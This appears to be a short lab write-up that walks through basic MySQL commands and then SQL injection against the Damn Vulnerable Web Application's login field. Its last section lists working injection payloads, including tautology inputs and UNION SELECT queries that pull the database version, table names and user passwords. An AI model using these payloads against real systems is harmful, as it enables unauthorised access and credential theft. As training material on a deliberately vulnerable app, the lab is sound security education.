SQL Injection Lab
Octavious W.
Incident Response | Digital Forensics | Vulnerability Analysis | Security+ | CHFI | CEH | Cisco Certified CyberOps Associate | GFACT | GSEC (2025) | GCIH (2025)
TOPICS:
Basic SQL Commands
Querying a database with SQL
Deleting data with SQL
SQL Injection Techniques
Basic SQL Commands
Command:
show databases;
Command:
create database test;
Command:
use test;
Commands:
create table users (name varchar (30), account integer, balance decimal (10,2));
create table personal (name varchar(30), address varchar(30), city varchar(20), telephone bigint);
Command:
show tables;
Commands:
insert into users values (‘John’, 123, 10.00);
insert into users values (‘Joe’, 456, 20.00);
insert into personal values (‘John’, ‘1313 Mockingbird Lane’, ‘Mockingbird Heights’, 3105552368);
insert into personal values(‘Joe’, ‘1313 Cemetery Lane’, ‘Greenbrier’, 1313131313);
Commands:
select * from users;
select * from personal;
Querying a database with SQL
Command:
select name, balance from users;
Command:
select name, telephone from personal;
Command:
select users.name, users.balance, personal.telephone from users join personal where users.name=personal.name;
领英推荐
Deleting data with SQL
Command:
delete from personal where name=’Joe’;
Command:
drop table personal;
Command:
drop database test;
SQL Injection Techniques
We ran a series of queries from the User ID field on login portal of the Damn Vulnerable Web Application.
Command:
1=1
select first_name, surname from “some table” where user_id=1
Command:
1’ or ‘0’=’0
select first_name, surname from “some table” where user_id = 1’ or ‘0’=’0’;
Command:
1’ or 1=1 union select database(), user()#
Command:
1’ or 1=1 union select null,version()#
Command:
1’ or 1=1 union select null, table_name from information_schema.tables#
Command:
1’ or 1=1 union select user, password from users#